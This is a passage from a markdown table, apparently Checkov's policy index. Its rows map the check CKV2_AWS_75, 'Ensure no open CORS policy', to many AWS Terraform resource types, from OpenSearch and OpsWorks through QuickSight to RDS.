                                                                       | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1144 | CKV2_AWS_75 | resource | aws_opensearch_package                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1145 | CKV2_AWS_75 | resource | aws_opensearch_package_association                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1146 | CKV2_AWS_75 | resource | aws_opensearch_vpc_endpoint                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1147 | CKV2_AWS_75 | resource | aws_opensearchserverless_access_policy                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1148 | CKV2_AWS_75 | resource | aws_opensearchserverless_collection                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1149 | CKV2_AWS_75 | resource | aws_opensearchserverless_lifecycle_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1150 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_config                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1151 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_policy                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1152 | CKV2_AWS_75 | resource | aws_opensearchserverless_vpc_endpoint                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1153 | CKV2_AWS_75 | resource | aws_opsworks_application                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1154 | CKV2_AWS_75 | resource | aws_opsworks_custom_layer                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1155 | CKV2_AWS_75 | resource | aws_opsworks_ecs_cluster_layer                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1156 | CKV2_AWS_75 | resource | aws_opsworks_ganglia_layer                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1157 | CKV2_AWS_75 | resource | aws_opsworks_haproxy_layer                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1158 | CKV2_AWS_75 | resource | aws_opsworks_instance                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1159 | CKV2_AWS_75 | resource | aws_opsworks_java_app_layer                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1160 | CKV2_AWS_75 | resource | aws_opsworks_memcached_layer                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1161 | CKV2_AWS_75 | resource | aws_opsworks_mysql_layer                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1162 | CKV2_AWS_75 | resource | aws_opsworks_nodejs_app_layer                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1163 | CKV2_AWS_75 | resource | aws_opsworks_permission                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1164 | CKV2_AWS_75 | resource | aws_opsworks_php_app_layer                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1165 | CKV2_AWS_75 | resource | aws_opsworks_rails_app_layer                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1166 | CKV2_AWS_75 | resource | aws_opsworks_rds_db_instance                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1167 | CKV2_AWS_75 | resource | aws_opsworks_stack                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1168 | CKV2_AWS_75 | resource | aws_opsworks_static_web_layer                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1169 | CKV2_AWS_75 | resource | aws_opsworks_user_profile                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1170 | CKV2_AWS_75 | resource | aws_organizations_account                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1171 | CKV2_AWS_75 | resource | aws_organizations_delegated_administrator                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1172 | CKV2_AWS_75 | resource | aws_organizations_organization                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1173 | CKV2_AWS_75 | resource | aws_organizations_organizational_unit                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1174 | CKV2_AWS_75 | resource | aws_organizations_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1175 | CKV2_AWS_75 | resource | aws_organizations_policy_attachment                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1176 | CKV2_AWS_75 | resource | aws_organizations_resource_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1177 | CKV2_AWS_75 | resource | aws_osis_pipeline                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1178 | CKV2_AWS_75 | resource | aws_paymentcryptography_key                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1179 | CKV2_AWS_75 | resource | aws_paymentcryptography_key_alias                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1180 | CKV2_AWS_75 | resource | aws_pinpoint_adm_channel                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1181 | CKV2_AWS_75 | resource | aws_pinpoint_apns_channel                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1182 | CKV2_AWS_75 | resource | aws_pinpoint_apns_sandbox_channel                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1183 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_channel                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1184 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_sandbox_channel                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1185 | CKV2_AWS_75 | resource | aws_pinpoint_app                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1186 | CKV2_AWS_75 | resource | aws_pinpoint_baidu_channel                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1187 | CKV2_AWS_75 | resource | aws_pinpoint_email_channel                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1188 | CKV2_AWS_75 | resource | aws_pinpoint_email_template                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1189 | CKV2_AWS_75 | resource | aws_pinpoint_event_stream                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1190 | CKV2_AWS_75 | resource | aws_pinpoint_gcm_channel                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1191 | CKV2_AWS_75 | resource | aws_pinpoint_sms_channel                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1192 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_configuration_set                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1193 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_opt_out_list                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1194 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_phone_number                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1195 | CKV2_AWS_75 | resource | aws_pipes_pipe                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1196 | CKV2_AWS_75 | resource | aws_placement_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1197 | CKV2_AWS_75 | resource | aws_prometheus_alert_manager_definition                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1198 | CKV2_AWS_75 | resource | aws_prometheus_rule_group_namespace                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1199 | CKV2_AWS_75 | resource | aws_prometheus_scraper                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1200 | CKV2_AWS_75 | resource | aws_prometheus_workspace                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1201 | CKV2_AWS_75 | resource | aws_proxy_protocol_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1202 | CKV2_AWS_75 | resource | aws_qldb_ledger                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1203 | CKV2_AWS_75 | resource | aws_qldb_stream                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1204 | CKV2_AWS_75 | resource | aws_quicksight_account_subscription                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1205 | CKV2_AWS_75 | resource | aws_quicksight_analysis                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1206 | CKV2_AWS_75 | resource | aws_quicksight_dashboard                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1207 | CKV2_AWS_75 | resource | aws_quicksight_data_set                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1208 | CKV2_AWS_75 | resource | aws_quicksight_data_source                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1209 | CKV2_AWS_75 | resource | aws_quicksight_folder                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1210 | CKV2_AWS_75 | resource | aws_quicksight_folder_membership                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1211 | CKV2_AWS_75 | resource | aws_quicksight_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1212 | CKV2_AWS_75 | resource | aws_quicksight_group_membership                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1213 | CKV2_AWS_75 | resource | aws_quicksight_iam_policy_assignment                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1214 | CKV2_AWS_75 | resource | aws_quicksight_ingestion                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1215 | CKV2_AWS_75 | resource | aws_quicksight_namespace                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1216 | CKV2_AWS_75 | resource | aws_quicksight_refresh_schedule                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1217 | CKV2_AWS_75 | resource | aws_quicksight_template                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1218 | CKV2_AWS_75 | resource | aws_quicksight_template_alias                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1219 | CKV2_AWS_75 | resource | aws_quicksight_theme                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1220 | CKV2_AWS_75 | resource | aws_quicksight_user                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1221 | CKV2_AWS_75 | resource | aws_quicksight_vpc_connection                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1222 | CKV2_AWS_75 | resource | aws_ram_principal_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1223 | CKV2_AWS_75 | resource | aws_ram_resource_association                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1224 | CKV2_AWS_75 | resource | aws_ram_resource_share                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1225 | CKV2_AWS_75 | resource | aws_ram_resource_share_accepter                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1226 | CKV2_AWS_75 | resource | aws_ram_sharing_with_organization                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1227 | CKV2_AWS_75 | resource | aws_rbin_rule                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1228 | CKV2_AWS_75 | resource | aws_rds_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1229 | CKV2_AWS_75 | resource | aws_rds_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1230 | CKV2_AWS_75 | resource | aws_rds_cluster_activity_stream                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1231 | CKV2_AWS_75 | resource | aws_rds_cluster_endpoint                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1232 | CKV2_AWS_75 | resource | aws_rds_cluster_instance                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1233 | CKV2_AWS_75 | resource | aws_rds_cluster_parameter_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1234 | CKV2_AWS_75 | resource | aws_rds_cluster_role_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1235 | CKV2_AWS_75 | resource | aws_rds_cluster_snapshot_copy                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1236 | CKV2_AWS_75 | resource | aws_rds_custom_db_engine_version                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1237 | CKV2_AWS_75 | resource | aws_rds_export_task                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1238 | CKV2_AWS_75 | resource | aws_rds_global_cluster                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   